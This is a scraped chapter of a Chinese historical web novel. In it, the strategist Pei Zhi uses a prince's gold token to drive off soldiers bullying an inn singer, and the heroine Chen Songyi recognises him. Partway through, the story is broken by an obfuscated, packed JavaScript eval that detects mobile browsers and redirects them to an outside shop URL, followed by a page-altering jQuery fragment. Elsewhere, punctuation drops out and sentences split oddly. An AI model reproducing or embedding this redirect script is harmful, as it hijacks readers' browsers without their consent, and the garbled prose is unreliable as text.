两个兵痞横着刀往后退去。
他们虽然怕楼梯上这个护卫,但却不怕这个看起来就身体不好的酒鬼。
——而且看他这身寒酸的衣服,也不像是什么贵人。
众人就见他们一边退,一边色厉内荏地道:“别以为扔块黄金下来就有用!”
在这江南,除了总督,他们不用给任何人面子!
然而,副都头看清手中这块金牌上的字样,却是手抖眼突。
他像被卡住了脖子,声音卡在喉咙里,背后也流下了冷汗。
不等这两个亲信再说什么,他就一把把他们拽了过来,然后啪啪两声,一人给了一巴掌。
“闭嘴!”
突如其来的变故,叫所有人都傻了眼。
其中也包括那两个脸上浮起了指印,一脸不可置信地抖着声音叫“头儿”的兵痞。
“滚开!”
副都头越看他们越像是来要自己命的,低吼一声,推开了两人。
然后,他看也不看其他人的反应,两手拿着那块金牌用两手来到了楼梯前。
对着这个像小山一样的护卫,他恭恭敬敬地弯腰低头,把金牌递了回去:
“卑职有眼不识泰山,没有管教好手下,惊扰了大人……还请大人不计小人过,卑职这就带他们回去严加管教,绝对不会再有今日之事!”
客栈里鸦雀无声。
不管是躺在地上还没爬起来的州府军也好,还是看着他们飞扬跋扈地进来强抢民女的客人们,都被此人这样低声下气、俯首帖耳的前后反差给惊到了。
不由地,他们抬头看向了二楼,看着栏杆后那个喝完了壶中酒的俊美文士——
这究竟是何方神圣?
他居然能让在县城里横行霸道、连县太爷都不放在眼里的州府军副都头服软!
副都头维持着低头的姿势,惴惴不安地等待着手中的金牌被收回去。
终于,他听见头顶传来了一声冷哼,然后手中的金牌被抽走了。
他这才松了一口气,说了一声“卑职告退”就想要转身,带着自己这些丢人的手下赶紧从这里离开。
“等一等。”二楼又响起了那道带着醉意的声音,“这姑娘曲儿唱得很好,我很喜欢,不要再来找她麻烦。
”
正带着爬起来的手下要退走的副都头背脊一僵看了一眼正在地上半抱着她爹的英儿。
见她惶恐的眼睛里倒映出自己的影子他脸皮一抽不敢有半点违抗地应道:“是!”
说完身后终于没有再传来别的声音。
副都头立刻飞快地逃离了这里狼狈得就好像是有猛兽在身后追赶一样。
这些人一走客栈里的气氛顿时一松。
所有人都感到松了一口气——
没想到今日竟然有大人物出手给了这些飞扬跋扈的兵痞一个教训!
哪怕为首那三人没有受到什么实质性的惩罚但已经让人十分解气了。
众人交换了一下眼神忍不住笑骂道:
“看到他们脸上的表情没有?实在太好笑了!”
“他娘的这也是些欺软怕硬的软蛋我要是也有上面那位大人的背景我一定好好收拾他们!”
那个出面制止的高大护卫已经往楼上走了二楼栏杆前的人也回去了。
所有人回味着那一幕
“爹……”
少女跪坐在地上半抱着自己的父亲哽咽道“没事了爹没事了……”
那些人一走客栈里就立刻有人起身去帮忙游天也过去了。
他给老人把了脉又检查了一下他被踢到的胸口:“骨头没断没有大碍我开个方子让你爹吃几剂就好。”
冯家雇的镖师们帮腔道:“对对对我们游兄弟是个药郎他的那些土方很是见效的!”
他们七手八脚地把老人扶起来“你爹胸口的淤青吃两剂就好了。”
等爹爹被扶到凳子上坐下对自己说没什么大碍了少女才连忙抹干了眼泪不住地向他们道谢更向游天道谢。
要请大夫不便宜她爹肯定是不肯的。
有他在她爹爹才不会回去硬扛着。
道完谢她红肿着眼睛又再抬头看向已经没了人的二楼。
那位救下自己的大人……不知是什么人自己不知有没有机会报答他。
等事情平息下来所有人心头都还是热血翻涌。
毕竟这样的世道欺压者
少有被反制的时候。
见客栈的掌柜跟小二开始打扫,他们也继续帮忙。
写下药方的游天则再一次回到了他们这一桌。
他们的桌子安排在角落,虽然刚刚那两个兵痞过来挑衅,但是桌上的饭菜还完好,游天不想浪费,捧起碗就继续吃。
注意到这个方向的罗管事跟镖师们静默了下来。
真是什么都挡不住游大吃饭的心啊……
游天自动过滤了这些视线。
他埋首在碗后,问陈松意:“楼上那人是什么来头?他扔出来的金牌是什么?
小师叔察觉到了,在楼上的人把金牌扔下来的时候,他这个师侄的眼睛就亮了起来。
她明显的激动了,一定知道这人是谁,也知道那块能把州府军吓退的金牌是什么来历。
果然,陈松意的声音响起,她低声道:“他姓裴,名植,是厉王殿下的军师祭酒,是他帐中谋士第一人,那块金牌是厉王殿下的信物,在他手中一共只发出过三面。
这三面金牌分别给了裴植、风珉,还有她第二世的爹。
现在这个时间节点,这三面金牌只发出了一面,就是裴植手里这块。
“见金牌,如见厉王。
游天扒饭的动作一顿,忍不住抬头看向了她。
一说到厉王,少女的声音就在难以抑制地颤抖,这是他认识陈松意以来第一次见她这种反应。
实际上,在认出裴植的那一刻,如果不是穴位被金针封住,陈松意只怕要激动得当场站起来。
两辈子了,这是她离见到厉王最近的时候。
上一世她死在闺中,跟大齐的这位战神毫无交集。
第二世厉王殿下来征召她父兄的时候,她还在襁褓里,也没有见过他。
可是等稍稍冷静下来,她便想到厉王殿下不可能在这里。
走这条路的时候,她并没有算到他会出现。
难道是卦出错了?
她想着,左手就在桌下开始掐算确认,发现果然没错,来的就只有裴植一个。
但这也足够让人激动了。
厉王是传说,他的军师祭酒同样是传说。
大齐军队能够在边关屡战屡胜,把敌人打得抱头鼠窜,少不了这位狡
猾如狐、多智近妖的军师。
如果说厉王殿下是将士们的神,那裴植就是谋士面前一座不可逾越的高峰。
到了后来她在军中兼任军师的时候,很多计策跟思维方式都参照的是裴植留下的手札。
厉王死得早,裴植死得更早。
能见到活着的他,不比买中字花更容易。
在客栈一楼的客人们还热血沸腾,激动议论的时候,主仆二人已经回到了二楼的房间里。
那面金牌也交回了裴植手上。
他放下空了的酒壶,把金牌放回怀中,就听自己沉默寡言的护卫难得开口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254407|151575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“下面那两兄妹有什么特别,让主人你要救他们一命?”
他看得清楚,自家主人一开始是没有打算出手的。
从他们回江南以来,一路上这些事见得多了,主人低调行事,不想暴露身份,都没有去管。
可是今日裴植却一反常态。
直叫他这个如同山石一样沉默寡言的护卫都开口了。
裴植咳嗽了起来,一双像狐狸一样的眼眸依旧熏染着醉意。
等停下咳嗽之后,他才轻描淡写地道:“叫你好好练功,长长眼力,不要光凭着一身蛮力横冲直撞——我救的可不是他们。”
那对坐在角落里的兄妹,妹妹一脸病容,兄长看似寻常。
可是哪怕身在二楼,裴植也感觉到了那具少年身躯里仿佛藏着一头凶兽。
他会出面,一是因为察觉到了危险,那少年一出手,这里必然大乱,到时候苦的又是城中百姓。
二是因为他觉得那少年看起来有些面熟。
护卫听他说道:“你可记得随我出使安西的那一次?宴席上,安西王的几位王子也出来了,你——”
裴植说着,转眸看向站在身旁的护卫,见到他脸上毫无波动的表情,就知道这家伙肯定不记得了。
“罢了罢了。”有着狡狐之名的军师摆了摆手,也不能指望所有人都跟自己一样,能对见过的人脸上的特征过目不忘,“你只要知道下面那个少年人大概有些来历,主人我很感兴趣就够了。”
……
那群兵痞被赶走之后,果然没有再来。
客栈里,众人吃过了午饭,也各自启程的启程,休息的休息。
很快,时间到了傍晚,一楼大堂再次热闹了起来。
这一次冯家少爷也下来了,同样是腿脚不便,他走得比陈松意要强一些。
中午发生的事情,他在楼上听见了一些动静,罗管事跟他说了事情经过,还念了游天一番:
“这小子,差点就要糟了。这年轻人怎么就这么意气用事,不能像我们一样稳重一点呢?”
冯家少爷笑了笑:“不然怎么说叫少年意气呢?”
像他这样身体不好,才会暮气沉沉。
罗管事见触动了少爷的心事,正要开口劝,就见到他们口中说的主角下来了。
扶着他妹妹,兄妹二人仍旧坐在了今天中午的那个位置上。
如果不是少年意气,他又怎么能背着妹妹靠腿走到渔村?
罗管事叹了一口气,不再说什么了。
就在城中家家户户都亮起了灯火时,中午离去的那对卖唱父女又回来了。
客栈里的常客看到他们,很是意外,因为他们只唱中午这一场,晚上一般是不来的。
得知中午发生过什么事之后,新客才露出了了然眼神。
角落里,陈松意看到没带乐器的少女扶着她父亲进来,也猜到了他们是来做什么。
父女二人显得有些忐忑,就这样站在一楼的角落里等着。
果然,一见到裴植跟他的护卫出现,他们就迎了上去,在裴植面前跪了下来:
“谢大人今日救命之恩……”
看着在自己面前拜下的父女二人,裴植显得一点也不意外。
大概是午饭后休息了的缘故,他脸上的那种醉意退去了,显出了清明来。
“老丈不必客气。”
他向护卫递去一个眼神,那高大如山的护卫就上前把父女二人扶了起来。
起身以后,老人脸上露出了忐忑犹豫交织的表情,最后一咬牙,再次向着裴植跪了下来:“求大人救救小女!这一次过了,那人后面定还会再来……大人就收了小女,带她走吧!”